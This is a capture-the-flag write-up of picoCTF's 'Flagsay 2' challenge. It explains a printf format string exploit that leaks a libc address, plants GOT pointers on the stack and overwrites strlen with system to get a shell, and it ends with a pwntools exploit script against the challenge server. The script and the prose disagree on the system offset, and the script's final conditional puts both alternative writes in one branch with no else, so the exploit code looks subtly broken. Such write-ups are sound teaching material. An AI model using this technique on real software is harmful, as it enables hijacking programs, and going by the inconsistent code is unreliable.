Flagsay 2

Writeup by hgarrereyn

  • Binary Exploitation
  • 150 points
  • Description: Apparently I messed up using system(). I'm pretty sure this one is secure though! I hope flagsay-2 is just as exhilarating as the the first one! Source. Connect on shell2017.picoctf.com:19884.


This program was vulnerable to a format string attack. However it was made difficult because the buffer was not stored on the stack. Additionally ASLR was enabled and therefore stack/function addresses could not be hardcoded.

Specifically, line 61 was vulnerable by calling printf on a user supplied buffer:


In order to solve this problem, I started searching for pointers on the stack that either pointed into libc (so I could leak system) or pointed to stack addresses I could reach within the format string attack.

Additionally, I realized that if I wanted to overwrite the GOT table, I needed to be able to do it in a single format string attack. If I tried to do it in two, the program would jump to some undefined location. Therefore I needed to prepare two pointers on the stack pointing to <[email protected]> and <[email protected] + 2> so I could do two $hn writes at once.

I found the following useful pointers:

  • %17 pointed to %53 on the stack. So I could perform a multistep format string attack to get an arbitrary write such as: %17$n then %53$n.
  • %23 and %24 had pointers to addresses near the one I wanted to overwrite so I was able to overwrite just one or two bytes and get them each pointing to the GOT table (2 bytes apart)
  • %2 was pointing into libc, so I could use it as a reference to calculate the address of system


During the competition, I found it easier to crack this binary by hand, typing in lines manually.

As part of this writeup, I wrote a script for completeness.


For all writes, subtract 129 initially as this is how many characters are printed as part of the flag

  1. System address is %2 + 1489168
  2. s1(%23) is at %22 - 24
    • Write the lower two bytes of this to %17
    • Write 0x84 to lowest byte of %53
  3. s2(%24) = s1 + 4
    • Write the lower two bytes of this to %17
    • Write 0x9986 to lower two bytes of %53
  4. Write higher two bytes of system address to %23 and write lower two bytes of system address to %24 (this overwrites [email protected] with system)
  5. send sh
  6. You've got shell!



# By Harrison Green <hgarrereyn>

from pwn import *
import re

# Connect to the server
sock = remote('shell2017.picoctf.com', 19884)

# Helper function to consume input
def n():
    a = sock.recv()
    return a

# Calculate system address
resp = n()
ref_addr = int(re.search(r'<([a-f0-9]*)>', resp).group(1), 16)
sys_addr = ref_addr - 1488960

print('System at: ' + hex(sys_addr))

# Get stack address
resp = n()
ref_addr = int(re.search(r'<([a-f0-9]*)>', resp).group(1), 16)
s1 = ref_addr - 24
s2 = s1 + 4

# Create first GOT pointer
sock.send('%' + str((s1 & 0xFFFF) - 129) + 'x%17$hn\n')
sock.send('%' + str(259) + 'x%53$hhn\n')

# Create second GOT pointer (first + 2)
sock.send('%' + str((s2 & 0xFFFF) - 129) + 'x%17$hn\n')
sock.send('%' + str(39173) + 'x%53$hn\n')

# Use GOT addresses to overwrite strlen with system
sys_high = (sys_addr & 0xFFFF0000) >> 16
sys_low = (sys_addr & 0xFFFF)


# make sure the second write is greater
if (sys_high > sys_low):
    sock.send('%' + str(sys_low - 129) + 'x%23$hn' + '%' + str(sys_high - sys_low) + 'x%24$hn\n')
    sock.send('%' + str(sys_high - 129) + 'x%24$hn' + '%' + str(sys_low - sys_high) + 'x%23$hn\n')


# We've got shell

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